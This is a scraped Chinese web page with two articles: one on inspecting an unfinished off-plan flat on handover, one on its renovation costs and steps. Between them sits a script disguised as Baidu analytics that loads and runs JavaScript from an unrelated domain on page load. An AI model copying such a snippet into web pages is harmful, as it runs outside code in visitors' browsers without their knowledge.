如何验收期房 毛坯房应该如何验收

期房交房一般分精装和毛坯，在验收的时候有着很大的区别，很多业主觉得精装房需要仔细验收，毛坯房看看格局就好，却忽略了毛坯房验收结果会影响到后续的装修。那么，如何验收期房呢？一、如何验收期房之房屋面积测量房屋的面积，核实与购买面积是否一致，如果面积对比误差超过3%，可以要求开发商退房。二、如何验收期房之门窗检查室内门窗，现在的房子大多数都是高层，门窗的质量与居住安全息息相关，很多家庭在装修时只更换门，而不会换窗户，因此在验收时要仔细检查门窗品牌与合同上的是否一致。如果不准备更换门，也要检查门是否有破损变形，在后续装修中，各种装修材料进出，非常容易刮伤门板，提前做好验收，可防止后期装修人员推卸责任。检查室内窗户的密封条和滑轮、玻璃等是否破损，开关是否灵活。三、如何验收期房之墙面和地面检查墙面和地面，墙面和地面是出现问题比较多的地方，一些小瑕疵可以通过装修来弥补，例如与横梁平行的墙面有裂缝，一般不存在危险，可直接让装修工人填补，但如果裂缝横梁垂直，表明沉降严重，要及时与物业相关人员沟通。检查墙面空鼓、爆灰、起粉现象，轻微的可以后期修补，严重的也要及时与相关人员联系处理。四、如何验收期房之水电和燃气验收检查燃气报警器是否灵敏，报警时阀门是否能够自动关闭。下水管是否有破损或修补迹象，卫生间是否有预留通风口。将水阀打开，检查水管能否顺畅出水，并观察水管是否有漏水现象。检查阳台顶部排水管及周围是否有渗漏。以上就是如何验收期房毛坯房的内容，一定要先验后收，避免收房后产生纠纷。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛胚房装修价格及如何装修

大家知道毛坯房吗，毛坯房指的是仅有门窗，四周都是水泥墙面。可是这种毛坯房是非常不好装修的，为什么呢?因为毛坯房等于是新房装饰，首要您要了解您是要选择什么样的装饰风格，而且还要考虑装修的价钱，怎么样才能更好地装修有能更好地省钱呢?我想这都是大家在装修的时候比较在意的问题，今而天小编就给大家介绍一下毛坯房装修的价格，大家要认真地听啊，很有用的。毛坯房装修的价格毛胚房简单装修主要包含有这样几个部分,一个是水电路安装费用、墙面装修费用地面装修费用、吊顶装修以及橱柜、家具等的简单装修部分。1.墙基层水电以及基层处理的费用,一般情况下,水电线路安装的价格应该在1000-2000之间,基层处理包括墙面缝隙处理、保温层间隙使用腻子的处理,这类基层装修费用应该是在5元每平方米左右。2.墙面涂料机粉刷价格,大致的费用是30元每平方米左右。当然消费者们在选购时要看一下成分,优质涂料的成分应是共聚树脂或纯丙烯酸树脂。别忘了看产品的保质期。3.地面装修费用。地砖材料及铺设的费用是90-100元之间每平方米。若是使用木地板的话,每平方米价格应该是在80-90之间。若是选择好品牌的地面装饰材料的话,价格就不只是这些了。4.卫生间设备每套大约2500元(坐便器、洗手盆、龙头、洗浴套件、镜子、纸盒、皂盒、毛巾杆、托盘、地漏、浴霸)。厨房橱柜每延米大约900元,(水晶板、亚克力、烤漆等,但是不包括品牌,还有龙头、水池)吊顶每平米大约50元。5.家具的费用,根据消费家庭选购品牌的不同个,价格存在差异很大的,普通的家具(衣柜、沙发、电视、灯饰等),其价格应该在20000元-30000元左右。（价格来源网络，仅供参考）毛坯房如何装修1、明确装修面积，了解墙面尺寸①明确装修所涉及的面积。比如：贴砖、铺地板。②明确主要墙面尺寸。特别是放家具的那面墙。2、合理拆改，巧用空间包括：拆墙、砌墙等。垃圾要及时倒掉，保证居室的清洁，方便施工。水电改造，尽量做到零遗憾。尤其是确定好开关、灯具、洗衣机的确切位置。3、优化管道外观，加强装饰效果管道在卫浴间的安装较多，优化管道的外观，能起到防潮和装饰的作用。4、地面实质装饰(磁砖要点)贴砖前，要准备好地漏。接着就是防水、拉毛，准备贴砖。要注意的是瓷砖泡水、阴干。5、美化毛坯房墙壁，让墙壁美起来，贴壁纸比刷漆的效果好，漆隔天就能干，接着就可以贴壁纸了。以上就是小编给大家介绍的毛坯房的装修价格，首先，毛坯房的装修如果大家想省钱的话那就可以自己动手，自己动手也是非常的简单的，大家完全可以考虑自己动手的，最后给大家介绍的是毛坯房如何装修，因为，毛坯房仅有门窗，其他都是水泥墙，所以装修起来是有一定的要求的，小编给大家介绍了五种，大家只要在装修的时候注意这五种就行。